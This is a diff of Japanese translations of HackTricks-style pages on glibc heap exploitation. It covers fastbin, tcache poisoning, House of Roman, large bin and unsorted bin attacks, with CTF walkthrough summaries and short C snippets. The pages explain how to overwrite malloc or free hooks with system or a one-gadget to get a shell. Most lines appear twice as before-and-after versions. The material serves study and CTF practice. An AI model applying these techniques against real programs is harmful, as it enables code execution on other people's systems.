- **ファストビン攻撃**: 割り当てへのすべてのポインタは配列に格納されているため、いくつかのファストビンチャンクを解放し、最後のもののアドレスをこのポインタの配列の少し前を指すように上書きします。その後、同じサイズのチャンクをいくつか割り当てると、最初に正当なものが得られ、その後ポインタの配列を含む偽のものが得られます。これで、この割り当てポインタを上書きして`free` のGOTアドレスを `system` を指すようにし、次にチャンク1に `"/bin/sh"` を書き込んで `free(chunk1)` を呼び出すと、代わりに `system("/bin/sh")` が実行されます。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- 1バイトのオーバーフローを悪用して、未ソートビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをone gadgetアドレスで上書きする別の例です。
- 1バイトのオーバーフローを悪用して、未ソートビンチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをone gadgetアドレスで上書きする別の例です。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- 未ソートビンを悪用してUAFでlibcアドレスとPIEアドレスを漏洩させた後、このCTFのエクスプロイトはファストビン攻撃を使用して、制御されたチャンクへのポインタがある場所にチャンクを割り当て、特定のポインタを上書きしてGOTにone gadgetを書き込むことができました。
- 未ソートビン攻撃を通じて悪用されたファストビン攻撃を見つけることができます:
- ファストビン攻撃を実行する前に、libc/heapアドレスを漏洩させるためにフリリストを悪用することが一般的であることに注意してください必要に応じて)。
- ファストビン攻撃を実行する前に、libc/heapアドレスを漏洩させるためにフリリストを悪用することが一般的であることに注意してください必要な場合)。
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- サイズが `0x100` より大きいチャンクのみを割り当てることができます。
- 未ソートビン攻撃を使用して `global_max_fast` を上書きしますASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります
- Unsorted Bin攻撃を使用して `global_max_fast` を上書きしますASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります
- グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を `system` を指すように設定できます。
{{#ref}}

View File

@ -4,13 +4,14 @@
## unlink
詳細については、以下を確認してください:
詳細については確認してください:
{{#ref}}
unlink.md
{{#endref}}
実施されたチェックの概要は以下の通りです:
実施されたチェックの概要は以下の通りです
- チャンクの指定サイズが次のチャンクに示された `prev_size` と同じか確認
- エラーメッセージ: `corrupted size vs. prev_size`
@ -21,32 +22,33 @@ unlink.md
## \_int_malloc
詳細については、以下を確認してください:
詳細については確認してください:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **ファストビン検索中のチェック:**
- チャンクがアラインされていない場合:
- チャンクが不揃いの場合:
- エラーメッセージ: `malloc(): unaligned fastbin chunk detected 2`
- フォワードチャンクがアラインされていない場合:
- フォワードチャンクが不揃いの場合:
- エラーメッセージ: `malloc(): unaligned fastbin chunk detected`
- 返されたチャンクのサイズがファストビンのインデックスのために正しくない場合:
- エラーメッセージ: `malloc(): memory corruption (fast)`
- tcacheを埋めるために使用されたチャンクがアラインされていない場合:
- tcacheを埋めるために使用されたチャンクが不揃いの場合:
- エラーメッセージ: `malloc(): unaligned fastbin chunk detected 3`
- **スモールビン検索中のチェック:**
- `victim->bk->fd != victim` の場合:
- エラーメッセージ: `malloc(): smallbin double linked list corrupted`
- **各ファストビンチャンクに対して行われる統合中のチェック:**
- チャンクがアラインされていない場合トリガー:
- **各ファストビンチャンクに対して実施される統合中のチェック:**
- チャンクが不揃いの場合トリガー:
- エラーメッセージ: `malloc_consolidate(): unaligned fastbin chunk detected`
- チャンクがインデックスのために異なるサイズを持っている場合:
- チャンクがインデックスのために異なるサイズを持場合:
- エラーメッセージ: `malloc_consolidate(): invalid chunk size`
- 前のチャンクが使用中でなく、前のチャンクのサイズが prev_chunk に示されたサイズと異なる場合:
- 前のチャンクが使用中でなく、前のチャンクのサイズが prev_chunk に示されたものと異なる場合:
- エラーメッセージ: `corrupted size vs. prev_size in fastbins`
- **ソートされていないビン検索中のチェック:**
- **ソートビン検索中のチェック:**
- チャンクサイズが異常(小さすぎるまたは大きすぎる)場合:
- エラーメッセージ: `malloc(): invalid size (unsorted)`
- 次のチャンクサイズが異常(小さすぎるまたは大きすぎる)場合:
@ -74,43 +76,44 @@ malloc-and-sysmalloc.md
## `tcache_get_n`
- **`tcache_get_n` チェック:**
- チャンクがアラインされていない場合:
- **`tcache_get_n` におけるチェック:**
- チャンクが不揃いの場合:
- エラーメッセージ: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **`tcache_thread_shutdown` チェック:**
- チャンクがアラインされていない場合:
- **`tcache_thread_shutdown` におけるチェック:**
- チャンクが不揃いの場合:
- エラーメッセージ: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **`__libc_realloc` チェック:**
- 古いポインタがアラインされていないか、サイズが不正な場合:
- **`__libc_realloc` におけるチェック:**
- 古いポインタが不揃いであるか、サイズが不正である場合:
- エラーメッセージ: `realloc(): invalid pointer`
## `_int_free`
詳細については、以下を確認してください:
詳細については確認してください:
{{#ref}}
free.md
{{#endref}}
- **`_int_free` の開始時のチェック:**
- ポインタがアラインされている:
- ポインタが整列している:
- エラーメッセージ: `free(): invalid pointer`
- サイズが `MINSIZE` より大きく、サイズもアラインされている:
- サイズが `MINSIZE` より大きく、サイズも整列している:
- エラーメッセージ: `free(): invalid size`
- **`_int_free` tcache チェック:**
- **`_int_free` tcache におけるチェック:**
- `mp_.tcache_count` よりも多くのエントリがある場合:
- エラーメッセージ: `free(): too many chunks detected in tcache`
- エントリがアラインされていない場合:
- エントリが不揃いの場合:
- エラーメッセージ: `free(): unaligned chunk detected in tcache 2`
- 解放されたチャンクがすでに解放されており、tcache にチャンクとして存在する場合:
- エラーメッセージ: `free(): double free detected in tcache 2`
- **`_int_free` ファストビンチェック:**
- **`_int_free` ファストビンにおけるチェック:**
- チャンクのサイズが無効(大きすぎるまたは小さすぎる)場合トリガー:
- エラーメッセージ: `free(): invalid next size (fast)`
- 追加されたチャンクがすでにファストビンのトップであった場合:
@ -120,7 +123,7 @@ free.md
## **`_int_free_merge_chunk`**
- **`_int_free_merge_chunk` チェック:**
- **`_int_free_merge_chunk` におけるチェック:**
- チャンクがトップチャンクの場合:
- エラーメッセージ: `double free or corruption (top)`
- 次のチャンクがアリーナの境界の外にある場合:
@ -134,27 +137,27 @@ free.md
## **`_int_free_create_chunk`**
- **`_int_free_create_chunk` チェック:**
- チャンクをソートされていないビンに追加する際、`unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` を確認:
- **`_int_free_create_chunk` におけるチェック:**
- 未ソートビンにチャンクを追加する際、`unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` を確認:
- エラーメッセージ: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **`do_check_malloc_state` チェック:**
- アラインされていないファストビンチャンクの場合:
- **`do_check_malloc_state` におけるチェック:**
- 不揃いのファストビンチャンクの場合:
- エラーメッセージ: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **`malloc_consolidate` チェック:**
- アラインされていないファストビンチャンクの場合:
- **`malloc_consolidate` におけるチェック:**
- 不揃いのファストビンチャンクの場合:
- エラーメッセージ: `malloc_consolidate(): unaligned fastbin chunk detected`
- 不正なファストビンチャンクサイズの場合:
- エラーメッセージ: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **`_int_realloc` チェック:**
- **`_int_realloc` におけるチェック:**
- サイズが大きすぎるまたは小さすぎる場合:
- エラーメッセージ: `realloc(): invalid old size`
- 次のチャンクのサイズが大きすぎるまたは小さすぎる場合:

View File

@ -4,7 +4,7 @@
## 基本情報
これは、フェイクファストビン、アンソートビン攻撃、相対的オーバーライトを介してリークなしでRCEを可能にする非常に興味深い技術でした。しかし、これは[**パッチが当てられました**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
これは、フェイクファストビン、アンソートビン攻撃、相対的オーバーライトを介してリークなしでRCEを可能にする非常に興味深い技術でした。しかし、これは[**パッチが当てられました**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
### コード
@ -25,7 +25,7 @@
いくつかのチャンクを作成します:
- `fastbin_victim` (0x60, オフセット 0): 後でヒープポインタをLibC値を指すように編集するUAFチャンク。
- `fastbin_victim` (0x60, オフセット 0): 後でヒープポインタをLibC値を指すように編集するUAFチャンク。
- `chunk2` (0x80, オフセット 0x70): 良好なアライメントのため。
- `main_arena_use` (0x80, オフセット 0x100)
- `relative_offset_heap` (0x60, オフセット 0x190): 'main_arena_use'チャンクの相対オフセット
@ -53,15 +53,15 @@ unsorted: leftover_main
- `relative_offset_heap``fake_libc_chunk` からの距離のオフセットで、`main_arena + 0x68` へのポインタを含んでいます。
- `fastbin_victim.fd` の最後のバイトを変更することで、`fastbin_victim``main_arena + 0x68` を指すようにすることが可能です。
前述の操作を行うためには、攻撃者は `fastbin_victim` の fd ポインタを変更できる必要があります。
前述のアクションを実行するためには、攻撃者は `fastbin_victim` の fd ポインタを変更できる必要があります。
次に、`main_arena + 0x68` はそれほど興味深くないので、ポインタを **`__malloc_hook`** を指すように変更しましょう
次に、`main_arena + 0x68` はそれほど興味深くないので、ポインタを **`__malloc_hook`** を指すように変更しま
`__memalign_hook` は通常 `0x7f` で始まり、その前にゼロが続くため、`0x70` のファストビン内の値として偽装することが可能です。アドレスの最後の4ビットは **ランダム** であるため、興味のある場所に最終的に指す値の可能性は `2^4=16` です。したがって、ここで BF 攻撃が行われ、チャンクは次のようになります: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**。
`__memalign_hook` は通常 `0x7f` で始まり、その前にゼロが続くため、`0x70` のファストビン内の値として偽装することが可能です。アドレスの最後の4ビットは **ランダム** であるため、興味のある場所に最終的に指す値の可能性は `2^4=16` です。したがって、ここで BF 攻撃が実行され、チャンクは次のようになります: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**。
(残りのバイトについての詳細は、[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)の説明を確認してください)。BF が機能しない場合、プログラムは単にクラッシュします(動作するまで再試行してください)。
その後、2つの malloc が実行され、最初の2つのファストビンチャンクが削除され、3つ目が **`__malloc_hook:`** にチャンクを取得するために割り当てられます。
次に、2つの malloc が実行され、最初の2つのファストビンチャンクが削除され、3つ目がアロケートされて **`__malloc_hook:`** にチャンクを取得ます。
```c
malloc(0x60);
malloc(0x60);
@ -71,11 +71,12 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
詳細については、次を確認できます:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
基本的には、`chunk->bk`で指定された任意の場所に`main_arena + 0x68`を書き込むことを可能にします。そして、攻撃のために`__malloc_hook`を選択します。その後、上書きした後に相対的な上書きを使用して`one_gadget`を指すようにします。
基本的には、`chunk->bk`で指定された任意の場所に`main_arena + 0x68`を書き込むことができます。そして、攻撃のために`__malloc_hook`を選択します。その後、上書きした後に相対的な上書きを使用して`one_gadget`を指すようにします。
これを行うために、チャンクを取得し、**unsorted bin**に入れ始めます:
```c
@ -86,22 +87,22 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
このチャンクでUAFを使用して`unsorted_bin_ptr->bk``__malloc_hook`のアドレスにポイントします(これは以前にブルートフォースしました)。
このチャンクでUAFを使用して`unsorted_bin_ptr->bk``__malloc_hook`のアドレスにポイントします(これは以前にブルートフォースしました)。
> [!CAUTION]
> この攻撃は未整理ビンを破損させることに注意してください(したがって小と大も)。したがって、**今はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、そしてこれをトリガーするためには、**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。**
> この攻撃は未整理ビンを破損させるため(したがって小と大も)、**今はファストビンからのアロケーションのみを使用できます**(より複雑なプログラムは他のアロケーションを行い、クラッシュする可能性があります)。これをトリガーするためには、**同じサイズをアロケートする必要があります。さもなければプログラムはクラッシュします。**
したがって、`__malloc_hook``main_arena + 0x68`の書き込みをトリガーするために、`unsorted_bin_ptr->bk``__malloc_hook`を設定した後、単に**`malloc(0x80)`**を実行する必要があります。
したがって、`__malloc_hook``unsorted_bin_ptr->bk`を設定した後、`main_arena + 0x68`の書き込みをトリガーするために、**`malloc(0x80)`を実行する必要があります。**
### ステップ3: \_\_malloc_hookをsystemに設定
ステップ1では、`__malloc_hook`を含むチャンクを制御することができ(変数`malloc_hook_chunk`、ステップ2ではここに`main_arena + 0x68`を書き込むことに成功しました。
ステップ1では、`__malloc_hook`を含むチャンク(変数`malloc_hook_chunk`を制御することに成功しました。ステップ2では、ここに`main_arena + 0x68`を書き込むことができました。
今、`malloc_hook_chunk`の部分的な上書きを悪用して、そこに書き込んだlibcアドレス`main_arena + 0x68`)を**`one_gadget`アドレスにポイントさせます**。
今、`malloc_hook_chunk`の部分的な上書きを悪用して、そこに書き込んだlibcアドレス`main_arena + 0x68`)を**`one_gadget`アドレスにポイントさせます**。
ここで**12ビットのランダム性をブルートフォースする必要があります**(詳細は[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)を参照してください)。
最後に、正しいアドレスが上書きされたら、**`malloc`を呼び出して`one_gadget`をトリガーします**
最後に、正しいアドレスが上書きされたら、**`malloc`を呼び出して`one_gadget`をトリガーします**
## 参考文献

View File

@ -2,22 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
## 基本情報
## Basic Information
大きなビンについての詳細は、このページを参照してください:
大きなビンについての詳細はこのページを参照してください:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
[**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) で素晴らしい例を見つけることができます。
[**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) には素晴らしい例があります。
基本的に、最新の "current" バージョンの glibc (2.35) では、**`P->bk_nextsize`** がチェックされていないため、特定の条件が満たされると、大きなビンチャンクの値で任意のアドレスを変更することができます。
基本的に、最新の "current" バージョンの glibc (2.35) では、**`P->bk_nextsize`** がチェックされておらず、特定の条件が満たされると、大きなビンチャンクの値で任意のアドレスを変更できることがわかります。
その例では、以下の条件が見つかります:
その例では、以下の条件が見られます:
- 大きなチャンクが割り当てられる
- 最初のものより小さいが同じインデックスにある大きなチャンクが割り当てられる
- 最初のものより小さいが同じインデックス大きなチャンクが割り当てられる
- ビン内で最初に入る必要があるため、より小さくなければならない
- (トップチャンクとのマージを防ぐためのチャンクが作成される)
- その後、最初の大きなチャンクが解放され、それより大きな新しいチャンクが割り当てられる -> Chunk1 が大きなビンに入る
@ -42,9 +43,9 @@ victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_next
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
これは、libcの**`global_max_fast`グローバル変数を上書きするために使用される可能性があり**、その後、大きなチャンクを使用してファストビン攻撃を悪用します。
これは、libcの**`global_max_fast`グローバル変数を上書きするために使用される可能性があり、より大きなチャンクでファストビン攻撃を悪用することができます。**
この攻撃の別の素晴らしい説明は[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)で見つけることができます。
この攻撃の別の素晴らしい説明は[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)で見つけることができます。
### その他の例

View File

@ -4,44 +4,45 @@
## 基本情報
Tcache bin についての詳細はこのページを参照してください:
Tcache bin についての詳細はこのページを確認してください:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
まず最初に、TcacheはGlibcバージョン2.26で導入されたことに注意してください。
まず、Tcache Glibc バージョン 2.26 で導入されたことに注意してください。
**Tcache攻撃****Tcache poisoning**とも呼ばれる)は、[**guyinatuxidoページ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html)で提案されており、目的は解放されたチャンク内のビンの次のチャンクへのポインタを任意のアドレスに上書きすることで、後でその特定のアドレスを**割り当ててポインタを上書きする**ことが可能になります。
**Tcache 攻撃****Tcache poisoning** とも呼ばれる)は、[**guyinatuxido ページ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) で提案されており、目的は解放されたチャンク内の次のチャンクへのポインタを任意のアドレスに上書きすることで、後でその特定のアドレスを**割り当ててポインタを上書きする**ことが可能になります。
しかし、現在、前述のコードを実行すると、エラーが発生します:**`malloc(): unaligned tcache chunk detected`**。したがって、新しいポインタに書き込むアドレスはアラインされたアドレスである必要があります(または、書き込まれたアドレスが実際にアラインされるまでバイナリを十分に実行する必要があります)。
しかし、現在では、前述のコードを実行するとエラーが発生します: **`malloc(): unaligned tcache chunk detected`**。したがって、新しいポインタに書き込むアドレスはアラインされたアドレスである必要があります(または、書き込まれたアドレスが実際にアラインされるまでバイナリを十分に実行する必要があります)。
### Tcacheインデックス攻撃
### Tcache インデックス攻撃
通常、ヒープの最初に**インデックスごとのチャンクの数**を含むチャンクと、各Tcacheインデックスの**ヘッドチャンクのアドレス**が見つかります。何らかの理由でこの情報を変更できる場合、**特定のインデックスのヘッドチャンクを希望のアドレス**(例えば`__malloc_hook`)にポイントさせることが可能になり、その後インデックスのサイズのチャンクを割り当てて`__malloc_hook`の内容を上書きすることができます。
通常、ヒープの最初に **インデックスごとのチャンクの数** を含むチャンクと **各 Tcache インデックスのヘッドチャンクへのアドレス** が見つかります。何らかの理由でこの情報を変更できる場合、**特定のインデックスのヘッドチャンクを希望のアドレス**(例えば `__malloc_hook`)にポイントさせることが可能になり、その後インデックスのサイズのチャンクを割り当ててこの場合の `__malloc_hook` の内容を上書きすることができます。
## 例
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc情報漏洩**Tcacheを埋め、未ソートリストにチャンクを追加し、Tcacheを空にし、**未ソートビンからチャンクを再割り当てする**ことが可能です。最初の8Bを上書きするだけで、**チャンクからのlibcの2番目のアドレスをそのままにしておくことができます**。
- **Tcache攻撃**バイナリは1Bのヒープオーバーフローに脆弱です。これを利用して、割り当てられたチャンクの**サイズヘッダー**を変更して大きくします。その後、このチャンクは**解放され**、偽のサイズのチャンクのTcacheに追加されます。次に、偽のサイズのチャンクを割り当てると、前のチャンクが**返され、実際にはこのチャンクが小さいことがわかります**。これにより、**メモリ内の次のチャンクを上書きする**機会が得られます。\
これを利用して、**次のチャンクのFDポインタを**`malloc_hook`にポイントさせ、最初に修正した正当なポインタを割り当て、その後の割り当てで**`malloc_hook`**にチャンクを返すことが可能になります。これを利用して**one gadget**を書き込むことができます。
- **Libc 情報漏洩**: Tcache を埋め、未ソートリストにチャンクを追加し、Tcache を空にし、**未ソート bin からチャンクを再割り当てする**ことが可能です。最初の 8B を上書きするだけで、**チャンクからの libc 2 番目のアドレスをそのままにしておくことができます**。
- **Tcache 攻撃**: バイナリは 1B ヒープオーバーフローに対して脆弱です。これを利用して、割り当てられたチャンクの **サイズヘッダー** を変更して大きくします。その後、このチャンクは **解放され**、偽のサイズのチャンクの Tcache に追加されます。次に、偽のサイズのチャンクを割り当てると、前のチャンクが **返され、実際にはこのチャンクが小さいことがわかります**。これにより、**メモリ内の次のチャンクを上書きする**機会が得られます。\
これを利用して、**次のチャンクの FD ポインタを** **`malloc_hook`** にポイントさせ、最初に修正した正当なポインタを割り当て、その後の割り当てで **`malloc_hook`** にチャンクを返すことが可能になります。これを利用して **one gadget** を書き込むことができます。
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc情報漏洩**:使用後の解放と二重解放があります。この書き込みでは、著者が小さなビンに配置されたチャンクのアドレスを読み取ることでlibcのアドレスを漏洩させました未ソートビンから漏洩するのと同様ですが、小さなビンからです)。
- **Tcache攻撃**Tcacheは**二重解放**を介して実行されます。同じチャンクが2回解放されるため、Tcache内でチャンクは自分自身を指します。その後、割り当てられ、FDポインタが**free hook**を指すように変更され、再度割り当てられると、リスト内の次のチャンクがfree hookに入ります。次に、これも割り当てられ、ここに`system`のアドレスを書き込むことが可能になるため、`"/bin/sh"`を含むmallocが解放されるとシェルが得られます。
- **Libc 情報漏洩**: 使用後の解放と二重解放があります。この書き込みでは、著者が小さな bin に配置されたチャンクのアドレスを読み取ることで libc のアドレスを漏洩させました(未ソート bin から漏洩させるのと同様ですが、小さな bin からです)。
- **Tcache 攻撃**: Tcache は **二重解放** を介して実行されます。同じチャンクが 2 回解放されるため、Tcache 内でチャンクは自分自身を指します。その後、割り当てられ、FD ポインタが **free hook** を指すように変更され、再度割り当てられると、リスト内の次のチャンクが free hook に配置されます。次に、これも割り当てられ、ここに `system` のアドレスを書き込むことが可能になるため、`"/bin/sh"` を含む malloc が解放されるとシェルが得られます。
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- ここでの主な脆弱性は、オフセットを指定することでヒープ内の任意のアドレスを`free`できる能力です。
- **Tcacheインデックス攻撃**TcacheチャンクTcacheビンの情報を持つチャンク内に格納されるサイズのチャンクを割り当てて解放することで、**値0x100のアドレスを生成する**ことが可能です。これは、Tcacheが各ビンのチャンク数を異なるバイトに格納するため、特定のインデックスのチャンクが値0x100を生成するからです。
- その後、この値はサイズ0x100のチャンクがあるように見えます。これにより、このアドレスを`free`することで悪用できます。これにより、**Tcache内のサイズ0x100のチャンクのインデックスにそのアドレスが追加されます**。
- 次に、**サイズ0x100のチャンクを割り当てると、前のアドレスがチャンクとして返され、他のTcacheインデックスを上書きすることが可能になります**\
例えば、malloc hookのアドレスをそのうちの1つに入れ、そのインデックスのサイズのチャンクを割り当てることで、calloc hookにチャンクを得ることができ、one gadgetを書き込んでシェルを得ることができます。
- ここでの主な脆弱性は、オフセットを指定することでヒープ内の任意のアドレスを `free` できる能力です。
- **Tcache インデックス攻撃**: Tcache チャンク内に格納されたサイズのチャンクを割り当てて解放することが可能で、これにより **値 0x100 のアドレス** が生成されます。これは、Tcache が各 bin のチャンク数を異なるバイトで保存するため、特定のインデックスのチャンクが値 0x100 を生成するからです。
- 次に、この値はサイズ 0x100 のチャンクが存在するように見えます。これにより、このアドレスを `free` することで悪用できます。これにより、**そのアドレスが Tcache 内のサイズ 0x100 のチャンクのインデックスに追加されます**。
- 次に、**サイズ 0x100 のチャンクを割り当てると、前のアドレスがチャンクとして返され、他の Tcache インデックスを上書きすることが可能になります**\
例えば、malloc hook のアドレスをそのうちの一つに入れ、そのインデックスのサイズのチャンクを割り当てることで calloc hook にチャンクを得ることができ、これにより one gadget を書き込んでシェルを得ることができます。
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- 前回と同じ脆弱性ですが、1つの追加制限があります。
- **Tcacheインデックス攻撃**:前回と似た攻撃ですが、**Tcache情報を含むチャンクを解放する**ことでステップを減らします。これにより、そのアドレスがそのサイズのTcacheインデックスに追加され、そのサイズを割り当ててTcacheチャンク情報をチャンクとして取得できるようになります。これにより、free hookをインデックスのアドレスとして追加し、割り当てて、one gadgetを書き込むことが可能になります。
- 前回と同じ脆弱性ですが、1 つの追加制限があります。
- **Tcache インデックス攻撃**: 前の攻撃と似ていますが、**Tcache 情報を含むチャンクを解放することによって**手順を減らします。これにより、そのアドレスがそのサイズの Tcache インデックスに追加され、そのサイズを割り当てて Tcache チャンク情報をチャンクとして取得できるようになります。これにより、インデックスのアドレスとして free hook を追加し、割り当てて、one gadget を上書きすることが可能になります。
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free**`fd`ポインタに数値を追加します
- このチャレンジでは多くの**ヒープフェンシュイ**が必要です。書き込みでは、**Tcache**のフリーリストのヘッドを制御することが非常に便利であることが示されています。
- **Glibc漏洩**を`stdout`を介してFSOP
- **Tcache poisoning**を使用して任意の書き込みプリミティブを取得します
- `fd` ポインタに数値を追加するための **Write After Free**。
- このチャレンジでは多くの **heap feng-shui** が必要です。書き込みでは、**Tcache** のフリーリストのヘッドを制御することが非常に便利であることが示されています。
- `stdout` を介した **Glibc 漏洩** (FSOP)
- 任意の書き込みプリミティブを得るための **Tcache poisoning**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,52 +4,53 @@
## 基本情報
未整理ビンについての詳細は、このページを確認してください:
未整理ビンについての詳細はこのページを確認してください:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
未整理リストは、チャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が未整理ビン内のチャンクの `bk` ポインタのアドレスを**変更できる**場合、彼は**任意のアドレスにそのアドレスを書き込む**ことができ、これはGlibcのアドレスを漏洩させたり、いくつかの防御を回避するのに役立ちます。
未整理リストは、チャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が未整理ビン内のチャンクの `bk` ポインタのアドレスを**変更できれば**、**そのアドレスを任意のアドレスに書き込むことができ**、Glibc アドレスを漏洩させたり、一部の防御を回避したりするのに役立ちます。
基本的に、この攻撃は**任意のアドレスに大きな数を設定する**ことを可能にします。この大きな数はアドレスであり、ヒープアドレスまたはGlibcアドレスである可能性があります。典型的なターゲットは**`global_max_fast`**であり、これによりより大きなサイズのファストビンを作成できるようになります(未整理ビン攻撃からファストビン攻撃に移行することができます)。
> [!TIP]
> 提供された例を見て、[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle)で0x4000と0x5000をチャンクサイズとして使用するとTcacheを避けるため、**現在**エラー**`malloc(): unsorted double linked list corrupted`**がトリガーされることがわかります。
> 提供された例を見て、[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) 0x4000 0x5000 をチャンクサイズとして使用するとTcacheを避けるため、**現在**エラー **`malloc(): unsorted double linked list corrupted`** がトリガーされることがわかります。
>
> したがって、この未整理ビン攻撃は、(他のチェックの中で)ダブルリンクリストを修正できる必要があり、`victim->bk->fd == victim`または`victim->fd == av (arena)`でないことが必要です。これは、書き込みたいアドレスがその`fd`位置にフェイクチャンクのアドレスを持ち、フェイクチャンクの`fd`がアリーナを指していることを意味します。
> したがって、この未整理ビン攻撃は、(他のチェックの中で)二重リンクリストを修正できる必要があるため、`victim->bk->fd == victim` または `victim->fd == av (arena)` でないことが要求されます。これは、書き込みたいアドレスがその `fd` ポジションにフェイクチャンクのアドレスを持ち、フェイクチャンクの `fd` がアリーナを指している必要があることを意味します。
> [!CAUTION]
> この攻撃は未整理ビンを破損させることに注意してください(したがって小さなものと大きなものも)。したがって、**現在はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、これをトリガーするには、**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。**
>
> **`global_max_fast`**を上書きすることは、この場合に役立つかもしれません。ファストビンが他のすべての割り当てを処理できると信頼して、エクスプロイトが完了するまで。
> **`global_max_fast`** を上書きすることは、この場合に役立つかもしれません。ファストビンが他のすべての割り当てを処理できると信頼して、エクスプロイトが完了するまで。
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html)のコードは非常によく説明していますが、mallocを変更してメモリを十分に大きく割り当て、Tcacheに終わらないようにすると、前述のエラーが発生し、この技術を妨げることができます:**`malloc(): unsorted double linked list corrupted`**
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) のコードは非常によく説明していますが、mallocを修正して十分な大きさのメモリを割り当て、Tcacheに終わらないようにすると、前述のエラーが発生し、この技術を妨げることがわかります:**`malloc(): unsorted double linked list corrupted`**
## 未整理ビン情報漏洩攻撃
これは実際には非常に基本的な概念です。未整理ビン内のチャンクにはポインタが含まれます。未整理ビンの最初のチャンクは、実際には**`fd`**と**`bk`**リンクが**メインアリーナGlibcの一部を指しています**。\
したがって、チャンクを未整理ビンに**入れて読み取る**(使用後の解放)か、**ポインタの少なくとも1つを上書きせずに再度割り当ててから**それを**読み取る**ことができれば、**Glibc情報漏洩**を得ることができます。
これは実際には非常に基本的な概念です。未整理ビン内のチャンクにはポインタが含まれます。未整理ビンの最初のチャンクは、実際には**`fd`** **`bk`** リンクが**メインアリーナGlibcの一部を指しています**。\
